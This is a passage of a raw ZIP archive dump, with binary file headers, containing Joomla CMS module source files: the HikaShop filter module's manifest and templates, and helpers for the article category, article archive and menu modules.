			{
				// We know that user has the privilege to view the article
				$item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$item->link = Route::_('index.php?option=com_users&view=login');
			}
		}

		return $items;
	}
}
PK!x�<zW"W"+mod_hikashop_filter/mod_hikashop_filter.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" method="upgrade">
	<name>Hikashop Filtering Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Content display for Hikashop</description>
	<files>
		<filename module="mod_hikashop_filter">mod_hikashop_filter.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
		<param name="show_filter_button" type="radio" default="1" label="Show filter button" description="Show or not the filter button">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_fieldset" type="radio" default="0" label="Display in a fieldset" description="Display in a fieldset">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="filter_column_number" type="text" default="1" label="Number of columns" description="Number of columns" />
		<param name="filter_limit" type="text" default="" label="Maximum number of filters" description="Maximum number of filters displayed in the module" />
		<param name="filter_height" type="text" default="" label="Filters height" description="The height of each filter (in pixel)" />
		<param name="filter_button_position" type="radio" default="right" label="Filter button position" description="Filter button position">
			<option value="left">Left</option>
			<option value="right">Right</option>
			<option value="inside">Inside</option>
		</param>
		<param name="filters" type="filters" default="" label="Filters" description="Select the filters you want to be displayed in that module" />
		<param name="itemid" type="text" default="187" label="Menu" description="The id of the hikashop products listing menu where to redirect" />
		<param name="force_redirect" type="radio" default="1" label="Force redirect" description="Force the redirection to the menu specified above when the filters of the module are used">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_page" type="radio" default="1" label="Display on the product page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_listing_page" type="radio" default="1" label="Display on the product listing page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_compare_page" type="radio" default="1" label="Display on the product compare page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_category_listing_page" type="radio" default="1" label="Display on the category listing page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_checkout_page" type="radio" default="1" label="Display on the checkout page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_contact_page" type="radio" default="1" label="Display on the contact page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_waitlist_page" type="radio" default="1" label="Display on the waitlist page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="filter_collapsable" type="radio" default="1" label="Collapsable filters" description="">
			<option value="0">No</option>
			<option value="1">Mobile devices</option>
			<option value="always">Always</option>
		</param>
		<param name="scroll_to_top" type="radio" default="0" label="Scroll to top after filtering" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="show_filter_button" type="radio" default="1" label="Show filter button" description="Show or not the filter button" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_fieldset" type="radio" default="0" label="Display in a fieldset" description="Display in a fieldset" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="filter_column_number" type="text" default="1" label="Number of columns" description="Number of columns" />
				<field name="filter_limit" type="text" default="" label="Maximum number of filters" description="Maximum number of filters displayed in the module" />
				<field name="filter_height" type="text" default="" label="Filters height" description="The height of each filter (in pixel)" />
				<field name="filter_button_position" type="radio" default="right" label="Filter button position" description="Filter button position">
					<option value="left">Left</option>
					<option value="right">Right</option>
					<option value="inside">Inside</option>
				</field>
				<field name="filters" type="filters" default="" label="Filters" description="Select the filters you want to be displayed in that module" />
				<field name="itemid" type="text" default="187" label="Menu" description="The id of the hikashop products listing menu where to redirect" />
				<field name="force_redirect" type="radio" default="1" label="Force redirect" description="Force the redirection to the menu specified above when the filters of the module are used" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_page" type="radio" default="1" label="Display on the product page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_listing_page" type="radio" default="1" label="Display on the product listing page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_compare_page" type="radio" default="1" label="Display on the product compare page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_category_listing_page" type="radio" default="1" label="Display on the category listing page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_checkout_page" type="radio" default="1" label="Display on the checkout page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_contact_page" type="radio" default="1" label="Display on the contact page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_waitlist_page" type="radio" default="1" label="Display on the waitlist page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="filter_collapsable" type="radio" default="1" label="Collapsable filters" description="">
					<option value="0">No</option>
					<option value="1">Mobile devices</option>
					<option value="always">Always</option>
				</field>
				<field name="scroll_to_top" type="radio" default="0" label="Scroll to top after filtering" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!����+mod_hikashop_filter/mod_hikashop_filter.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};
$js ='';
hikashop_initModule();

foreach(get_object_vars($module) as $k => $v){
	if(!is_object($v) && $params->get($k,null)==null){
		$params->set($k,$v);
	}
}

$moduleClass = hikashop_get('class.modules');
if($moduleClass->restrictedModule($params) === false)
	return;

$html = trim(hikashop_getLayout('product','filter',$params,$js));
require(JModuleHelper::getLayoutPath('mod_hikashop_filter'));
PK!�#o,,mod_hikashop_filter/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,#mod_hikashop_filter/tmpl/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!z����$mod_hikashop_filter/tmpl/default.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php if(!empty($html)){
?>
<div class="hikashop_filter_module <?php if(isset($params)) echo $params->get('moduleclass_sfx');?>">
<?php echo $html;?>
<div style="clear:both;"></div>
</div>
<?php } ?>
PK!)aE& : :;mod_articles_category/src/Helper/ArticlesCategoryHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesCategory\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\String\StringHelper;

/**
 * Helper for mod_articles_category
 *
 * @since  1.6
 */
abstract class ArticlesCategoryHelper
{
	/**
	 * Get a list of articles from a specific category
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 *
	 * @since  1.6
	 */
	public static function getList(&$params)
	{
		$app     = Factory::getApplication();
		$factory = $app->bootComponent('com_content')->getMVCFactory();

		// Get an instance of the generic articles model
		$articles = $factory->createModel('Articles', 'Site', ['ignore_request' => true]);

		// Set application parameters in model
		$input     = $app->input;
		$appParams = $app->getParams();
		$articles->setState('params', $appParams);

		$articles->setState('list.start', 0);
		$articles->setState('filter.published', ContentComponent::CONDITION_PUBLISHED);

		// Set the filters based on the module params
		$articles->setState('list.limit', (int) $params->get('count', 0));
		$articles->setState('load_tags', $params->get('show_tags', 0) || $params->get('article_grouping', 'none') === 'tags');

		// Access filter
		$access     = !ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = Access::getAuthorisedViewLevels(Factory::getUser()->get('id'));
		$articles->setState('filter.access', $access);

		// Prep for Normal or Dynamic Modes
		$mode = $params->get('mode', 'normal');

		switch ($mode)
		{
			case 'dynamic':
				$option = $input->get('option');
				$view   = $input->get('view');

				if ($option === 'com_content')
				{
					switch ($view)
					{
						case 'category':
						case 'categories':
							$catids = array($input->getInt('id'));
							break;
						case 'article':
							if ($params->get('show_on_article_page', 1))
							{
								$article_id = $input->getInt('id');
								$catid      = $input->getInt('catid');

								if (!$catid)
								{
									// Get an instance of the generic article model
									$article = $factory->createModel('Article', 'Site', ['ignore_request' => true]);

									$article->setState('params', $appParams);
									$article->setState('filter.published', 1);
									$article->setState('article.id', (int) $article_id);
									$item   = $article->getItem();
									$catids = array($item->catid);
								}
								else
								{
									$catids = array($catid);
								}
							}
							else
							{
								// Return right away if show_on_article_page option is off
								return;
							}
							break;

						default:
							// Return right away if not on the category or article views
							return;
					}
				}
				else
				{
					// Return right away if not on a com_content page
					return;
				}

				break;

			default:
				$catids = $params->get('catid');
				$articles->setState('filter.category_id.include', (bool) $params->get('category_filtering_type', 1));
				break;
		}

		// Category filter
		if ($catids)
		{
			if ($params->get('show_child_category_articles', 0) && (int) $params->get('levels', 0) > 0)
			{
				// Get an instance of the generic categories model
				$categories = $factory->createModel('Categories', 'Site', ['ignore_request' => true]);
				$categories->setState('params', $appParams);
				$levels = $params->get('levels', 1) ?: 9999;
				$categories->setState('filter.get_children', $levels);
				$categories->setState('filter.published', 1);
				$categories->setState('filter.access', $access);
				$additional_catids = array();

				foreach ($catids as $catid)
				{
					$categories->setState('filter.parentId', $catid);
					$recursive = true;
					$items     = $categories->getItems($recursive);

					if ($items)
					{
						foreach ($items as $category)
						{
							$condition = (($category->level - $categories->getParent()->level) <= $levels);

							if ($condition)
							{
								$additional_catids[] = $category->id;
							}
						}
					}
				}

				$catids = array_unique(array_merge($catids, $additional_catids));
			}

			$articles->setState('filter.category_id', $catids);
		}

		// Ordering
		$ordering = $params->get('article_ordering', 'a.ordering');

		switch ($ordering)
		{
			case 'random':
				$articles->setState('list.ordering', Factory::getDbo()->getQuery(true)->rand());
				break;

			case 'rating_count':
			case 'rating':
				$articles->setState('list.ordering', $ordering);
				$articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC'));

				if (!PluginHelper::isEnabled('content', 'vote'))
				{
					$articles->setState('list.ordering', 'a.ordering');
				}

				break;

			default:
				$articles->setState('list.ordering', $ordering);
				$articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC'));
				break;
		}

		// Filter by multiple tags
		$articles->setState('filter.tag', $params->get('filter_tag', array()));

		$articles->setState('filter.featured', $params->get('show_front', 'show'));
		$articles->setState('filter.author_id', $params->get('created_by', array()));
		$articles->setState('filter.author_id.include', $params->get('author_filtering_type', 1));
		$articles->setState('filter.author_alias', $params->get('created_by_alias', array()));
		$articles->setState('filter.author_alias.include', $params->get('author_alias_filtering_type', 1));
		$excluded_articles = $params->get('excluded_articles', '');

		if ($excluded_articles)
		{
			$excluded_articles = explode("\r\n", $excluded_articles);
			$articles->setState('filter.article_id', $excluded_articles);

			// Exclude
			$articles->setState('filter.article_id.include', false);
		}

		$date_filtering = $params->get('date_filtering', 'off');

		if ($date_filtering !== 'off')
		{
			$articles->setState('filter.date_filtering', $date_filtering);
			$articles->setState('filter.date_field', $params->get('date_field', 'a.created'));
			$articles->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00'));
			$articles->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59'));
			$articles->setState('filter.relative_date', $params->get('relative_date', 30));
		}

		// Filter by language
		$articles->setState('filter.language', $app->getLanguageFilter());

		$items = $articles->getItems();

		// Display options
		$show_date        = $params->get('show_date', 0);
		$show_date_field  = $params->get('show_date_field', 'created');
		$show_date_format = $params->get('show_date_format', 'Y-m-d H:i:s');
		$show_category    = $params->get('show_category', 0);
		$show_hits        = $params->get('show_hits', 0);
		$show_author      = $params->get('show_author', 0);
		$show_introtext   = $params->get('show_introtext', 0);
		$introtext_limit  = $params->get('introtext_limit', 100);

		// Find current Article ID if on an article page
		$option = $input->get('option');
		$view   = $input->get('view');

		if ($option === 'com_content' && $view === 'article')
		{
			$active_article_id = $input->getInt('id');
		}
		else
		{
			$active_article_id = 0;
		}

		// Prepare data for display using display options
		foreach ($items as &$item)
		{
			$item->slug = $item->id . ':' . $item->alias;

			if ($access || \in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$menu      = $app->getMenu();
				$menuitems = $menu->getItems('link', 'index.php?option=com_users&view=login');

				if (isset($menuitems[0]))
				{
					$Itemid = $menuitems[0]->id;
				}
				elseif ($input->getInt('Itemid') > 0)
				{
					// Use Itemid from requesting page only if there is no existing menu
					$Itemid = $input->getInt('Itemid');
				}

				$item->link = Route::_('index.php?option=com_users&view=login&Itemid=' . $Itemid);
			}

			// Used for styling the active article
			$item->active      = $item->id == $active_article_id ? 'active' : '';
			$item->displayDate = '';

			if ($show_date)
			{
				$item->displayDate = HTMLHelper::_('date', $item->$show_date_field, $show_date_format);
			}

			if ($item->catid)
			{
				$item->displayCategoryLink  = Route::_(RouteHelper::getCategoryRoute($item->catid, $item->category_language));
				$item->displayCategoryTitle = $show_category ? '<a href="' . $item->displayCategoryLink . '">' . $item->category_title . '</a>' : '';
			}
			else
			{
				$item->displayCategoryTitle = $show_category ? $item->category_title : '';
			}

			$item->displayHits       = $show_hits ? $item->hits : '';
			$item->displayAuthorName = $show_author ? $item->author : '';

			if ($show_introtext)
			{
				$item->introtext = HTMLHelper::_('content.prepare', $item->introtext, '', 'mod_articles_category.content');
				$item->introtext = self::_cleanIntrotext($item->introtext);
			}

			$item->displayIntrotext = $show_introtext ? self::truncate($item->introtext, $introtext_limit) : '';
			$item->displayReadmore  = $item->alternative_readmore;
		}

		return $items;
	}

	/**
	 * Strips unnecessary tags from the introtext
	 *
	 * @param   string  $introtext  introtext to sanitize
	 *
	 * @return mixed|string
	 *
	 * @since  1.6
	 */
	public static function _cleanIntrotext($introtext)
	{
		$introtext = str_replace(array('<p>', '</p>'), ' ', $introtext);
		$introtext = strip_tags($introtext, '<a><em><strong>');
		$introtext = trim($introtext);

		return $introtext;
	}

	/**
	 * Method to truncate introtext
	 *
	 * The goal is to get the proper length plain text string with as much of
	 * the html intact as possible with all tags properly closed.
	 *
	 * @param   string   $html       The content of the introtext to be truncated
	 * @param   integer  $maxLength  The maximum number of characters to render
	 *
	 * @return  string  The truncated string
	 *
	 * @since   1.6
	 */
	public static function truncate($html, $maxLength = 0)
	{
		$baseLength = \strlen($html);

		// First get the plain text string. This is the rendered text we want to end up with.
		$ptString = HTMLHelper::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = false);

		for ($maxLength; $maxLength < $baseLength;)
		{
			// Now get the string if we allow html.
			$htmlString = HTMLHelper::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = true);

			// Now get the plain text from the html string.
			$htmlStringToPtString = HTMLHelper::_('string.truncate', $htmlString, $maxLength, $noSplit = true, $allowHtml = false);

			// If the new plain text string matches the original plain text string we are done.
			if ($ptString === $htmlStringToPtString)
			{
				return $htmlString;
			}

			// Get the number of html tag characters in the first $maxlength characters
			$diffLength = \strlen($ptString) - \strlen($htmlStringToPtString);

			// Set new $maxlength that adjusts for the html tags
			$maxLength += $diffLength;

			if ($baseLength <= $maxLength || $diffLength <= 0)
			{
				return $htmlString;
			}
		}

		return $html;
	}

	/**
	 * Groups items by field
	 *
	 * @param   array   $list             list of items
	 * @param   string  $fieldName        name of field that is used for grouping
	 * @param   string  $direction        ordering direction
	 * @param   null    $fieldNameToKeep  field name to keep
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function groupBy($list, $fieldName, $direction, $fieldNameToKeep = null)
	{
		$grouped = array();

		if (!\is_array($list))
		{
			if ($list === '')
			{
				return $grouped;
			}

			$list = array($list);
		}

		foreach ($list as $key => $item)
		{
			if (!isset($grouped[$item->$fieldName]))
			{
				$grouped[$item->$fieldName] = array();
			}

			if ($fieldNameToKeep === null)
			{
				$grouped[$item->$fieldName][$key] = $item;
			}
			else
			{
				$grouped[$item->$fieldName][$key] = $item->$fieldNameToKeep;
			}

			unset($list[$key]);
		}

		$direction($grouped);

		return $grouped;
	}

	/**
	 * Groups items by date
	 *
	 * @param   array   $list             list of items
	 * @param   string  $direction        ordering direction
	 * @param   string  $type             type of grouping
	 * @param   string  $monthYearFormat  date format to use
	 * @param   string  $field            date field to group by
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function groupByDate($list, $direction = 'ksort', $type = 'year', $monthYearFormat = 'F Y', $field = 'created')
	{
		$grouped = array();

		if (!\is_array($list))
		{
			if ($list === '')
			{
				return $grouped;
			}

			$list = array($list);
		}

		foreach ($list as $key => $item)
		{
			switch ($type)
			{
				case 'month_year':
					$month_year = StringHelper::substr($item->$field, 0, 7);

					if (!isset($grouped[$month_year]))
					{
						$grouped[$month_year] = array();
					}

					$grouped[$month_year][$key] = $item;
					break;

				default:
					$year = StringHelper::substr($item->$field, 0, 4);

					if (!isset($grouped[$year]))
					{
						$grouped[$year] = array();
					}

					$grouped[$year][$key] = $item;
					break;
			}

			unset($list[$key]);
		}

		$direction($grouped);

		if ($type === 'month_year')
		{
			foreach ($grouped as $group => $items)
			{
				$date                      = new Date($group);
				$formatted_group           = $date->format($monthYearFormat);
				$grouped[$formatted_group] = $items;

				unset($grouped[$group]);
			}
		}

		return $grouped;
	}

	/**
	 * Groups items by tags
	 *
	 * @param   array   $list       list of items
	 * @param   string  $direction  ordering direction
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public static function groupByTags($list, $direction = 'ksort')
	{
		$grouped  = array();
		$untagged = array();

		if (!$list)
		{
			return $grouped;
		}

		foreach ($list as $item)
		{
			if ($item->tags->itemTags)
			{
				foreach ($item->tags->itemTags as $tag)
				{
					$grouped[$tag->title][] = $item;
				}
			}
			else
			{
				$untagged[] = $item;
			}
		}

		$direction($grouped);

		if ($untagged)
		{
			$grouped['MOD_ARTICLES_CATEGORY_UNTAGGED'] = $untagged;
		}

		return $grouped;
	}
}
PK!�;��
�
,mod_articles_category/tmpl/default_items.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

?>
<?php foreach ($items as $item) : ?>
<li>
	<?php if ($params->get('link_titles') == 1) : ?>
		<a class="mod-articles-category-title <?php echo $item->active; ?>" href="<?php echo $item->link; ?>">
			<?php echo $item->title; ?>
		</a>
	<?php else : ?>
		<?php echo $item->title; ?>
	<?php endif; ?>

	<?php if ($item->displayHits) : ?>
		<span class="mod-articles-category-hits">
			(<?php echo $item->displayHits; ?>)
		</span>
	<?php endif; ?>

	<?php if ($params->get('show_author')) : ?>
		<span class="mod-articles-category-writtenby">
			<?php echo $item->displayAuthorName; ?>
		</span>
	<?php endif; ?>

	<?php if ($item->displayCategoryTitle) : ?>
		<span class="mod-articles-category-category">
			(<?php echo $item->displayCategoryTitle; ?>)
		</span>
	<?php endif; ?>

	<?php if ($item->displayDate) : ?>
		<span class="mod-articles-category-date"><?php echo $item->displayDate; ?></span>
	<?php endif; ?>

	<?php if ($params->get('show_tags', 0) && $item->tags->itemTags) : ?>
		<div class="mod-articles-category-tags">
			<?php echo LayoutHelper::render('joomla.content.tags', $item->tags->itemTags); ?>
		</div>
	<?php endif; ?>

	<?php if ($params->get('show_introtext')) : ?>
		<p class="mod-articles-category-introtext">
			<?php echo $item->displayIntrotext; ?>
		</p>
	<?php endif; ?>

	<?php if ($params->get('show_readmore')) : ?>
		<p class="mod-articles-category-readmore">
			<a class="mod-articles-category-title <?php echo $item->active; ?>" href="<?php echo $item->link; ?>">
				<?php if ($item->params->get('access-view') == false) : ?>
					<?php echo Text::_('MOD_ARTICLES_CATEGORY_REGISTER_TO_READ_MORE'); ?>
				<?php elseif ($item->alternative_readmore) : ?>
					<?php echo $item->alternative_readmore; ?>
					<?php echo HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
						<?php if ($params->get('show_readmore_title', 0)) : ?>
							<?php echo HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
						<?php endif; ?>
				<?php elseif ($params->get('show_readmore_title', 0)) : ?>
					<?php echo Text::_('MOD_ARTICLES_CATEGORY_READ_MORE'); ?>
					<?php echo HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
				<?php else : ?>
					<?php echo Text::_('MOD_ARTICLES_CATEGORY_READ_MORE_TITLE'); ?>
				<?php endif; ?>
			</a>
		</p>
	<?php endif; ?>
</li>
<?php endforeach; ?>
PK!�j���
�
9mod_articles_archive/src/Helper/ArticlesArchiveHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_archive
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesArchive\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Database\ParameterType;

/**
 * Helper for mod_articles_archive
 *
 * @since  1.5
 */
class ArticlesArchiveHelper
{
	/**
	 * Retrieve list of archived articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$app       = Factory::getApplication();
		$db        = Factory::getDbo();
		$query     = $db->getQuery(true);

		$query->select($query->month($db->quoteName('created')) . ' AS created_month')
			->select('MIN(' . $db->quoteName('created') . ') AS created')
			->select($query->year($db->quoteName('created')) . ' AS created_year')
			->from($db->quoteName('#__content', 'c'))
			->where($db->quoteName('c.state') . ' = ' . ContentComponent::CONDITION_ARCHIVED)
			->group($query->year($db->quoteName('c.created')) . ', ' . $query->month($db->quoteName('c.created')))
			->order($query->year($db->quoteName('c.created')) . ' DESC, ' . $query->month($db->quoteName('c.created')) . ' DESC');

		// Filter by language
		if ($app->getLanguageFilter())
		{
			$query->whereIn($db->quoteName('language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING);
		}

		$query->setLimit((int) $params->get('count'));
		$db->setQuery($query);

		try
		{
			$rows = (array) $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return [];
		}

		$menu   = $app->getMenu();
		$item   = $menu->getItems('link', 'index.php?option=com_content&view=archive', true);
		$itemid = (isset($item) && !empty($item->id)) ? '&Itemid=' . $item->id : '';

		$i     = 0;
		$lists = array();

		foreach ($rows as $row)
		{
			$date = Factory::getDate($row->created);

			$createdMonth = $date->format('n');
			$createdYear  = $date->format('Y');

			$createdYearCal = HTMLHelper::_('date', $row->created, 'Y');
			$monthNameCal   = HTMLHelper::_('date', $row->created, 'F');

			$lists[$i] = new \stdClass;

			$lists[$i]->link = Route::_('index.php?option=com_content&view=archive&year=' . $createdYear . '&month=' . $createdMonth . $itemid);
			$lists[$i]->text = Text::sprintf('MOD_ARTICLES_ARCHIVE_DATE', $monthNameCal, $createdYearCal);

			$i++;
		}

		return $lists;
	}
}
PK!
_�"dd"mod_menu/tmpl/collapse-default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

HTMLHelper::_('bootstrap.collapse');
?>

<nav class="navbar navbar-expand-md">
	<button class="navbar-toggler navbar-toggler-right" type="button" data-bs-toggle="collapse" data-bs-target="#navbar<?php echo $module->id; ?>" aria-controls="navbar<?php echo $module->id; ?>" aria-expanded="false" aria-label="<?php echo Text::_('MOD_MENU_TOGGLE'); ?>">
		<span class="icon-menu" aria-hidden="true"></span>
	</button>
	<div class="collapse navbar-collapse" id="navbar<?php echo $module->id; ?>">
		<?php require __DIR__ . '/default.php'; ?>
	</div>
</nav>
PK!�ȴ���"mod_menu/src/Helper/MenuHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Menu\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Cache\CacheControllerFactoryInterface;
use Joomla\CMS\Cache\Controller\OutputController;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Router\Route;

/**
 * Helper for mod_menu
 *
 * @since  1.5
 */
class MenuHelper
{
	/**
	 * Get a list of the menu items.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$app   = Factory::getApplication();
		$menu  = $app->getMenu();

		// Get active menu item
		$base   = self::getBase($params);
		$levels = Factory::getUser()->getAuthorisedViewLevels();
		asort($levels);
		$key = 'menu_items' . $params . implode(',', $levels) . '.' . $base->id;

		/** @var OutputController $cache */
		$cache = Factory::getContainer()->get(CacheControllerFactoryInterface::class)
			->createCacheController('output', ['defaultgroup' => 'mod_menu']);

		if ($cache->contains($key))
		{
			$items = $cache->get($key);
		}
		else
		{
			$path           = $base->tree;
			$start          = (int) $params->get('startLevel', 1);
			$end            = (int) $params->get('endLevel', 0);
			$showAll        = $params->get('showAllChildren', 1);
			$items          = $menu->getItems('menutype', $params->get('menutype'));
			$hidden_parents = array();
			$lastitem       = 0;

			if ($items)
			{
				$inputVars = $app->getInput()->getArray();

				foreach ($items as $i => $item)
				{
					$item->parent = false;
					$itemParams   = $item->getParams();

					if (isset($items[$lastitem]) && $items[$lastitem]->id == $item->parent_id && $itemParams->get('menu_show', 1) == 1)
					{
						$items[$lastitem]->parent = true;
					}

					if (($start && $start > $item->level)
						|| ($end && $item->level > $end)
						|| (!$showAll && $item->level > 1 && !\in_array($item->parent_id, $path))
						|| ($start > 1 && !\in_array($item->tree[$start - 2], $path)))
					{
						unset($items[$i]);
						continue;
					}

					// Exclude item with menu item option set to exclude from menu modules
					if (($itemParams->get('menu_show', 1) == 0) || \in_array($item->parent_id, $hidden_parents))
					{
						$hidden_parents[] = $item->id;
						unset($items[$i]);
						continue;
					}

					$item->current = true;

					foreach ($item->query as $key => $value)
					{
						if (!isset($inputVars[$key]) || $inputVars[$key] !== $value)
						{
							$item->current = false;
							break;
						}
					}

					$item->deeper     = false;
					$item->shallower  = false;
					$item->level_diff = 0;

					if (isset($items[$lastitem]))
					{
						$items[$lastitem]->deeper     = ($item->level > $items[$lastitem]->level);
						$items[$lastitem]->shallower  = ($item->level < $items[$lastitem]->level);
						$items[$lastitem]->level_diff = ($items[$lastitem]->level - $item->level);
					}

					$lastitem     = $i;
					$item->active = false;
					$item->flink  = $item->link;

					// Reverted back for CMS version 2.5.6
					switch ($item->type)
					{
						case 'separator':
							break;

						case 'heading':
							// No further action needed.
							break;

						case 'url':
